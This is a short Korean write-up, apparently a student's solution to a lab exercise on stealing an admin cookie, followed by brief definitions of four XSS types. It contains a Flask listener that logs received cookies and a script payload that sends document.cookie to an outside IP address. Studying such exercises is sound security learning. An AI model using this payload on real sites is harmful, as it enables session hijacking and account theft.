[Web Hacking] 1차 관리자 쿠키 알아내기

이석민

과제 풀이

Python flask 라이브러리 사용해서 웹 서버 만들기.

cookie.py > index

```python
from flask import Flask, request

app = Flask(__name__)

@app.route('/')
def index():
    cookie = request.args.get('cookie')  # GET 요청으로 쿠키 받기
    print(f"Received cookie: {cookie}")  # 쿠키 출력
    return "Cookie received!"  # 응답

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

```

http://144.24.72.17:2004/flag 에
<script>fetch("http://211.38.54.182:5000/?cookie=" + document.cookie)</script>

삽입 후 제출 클릭.

문제 풀이 소요 시간 : 3시간..

1.Reflected XSS

XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS.

2. Stored XSS

XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS

3. DOM-based XSS

XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS

4. Universal XSS

클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로
SOP 정책을 우회하는 XSS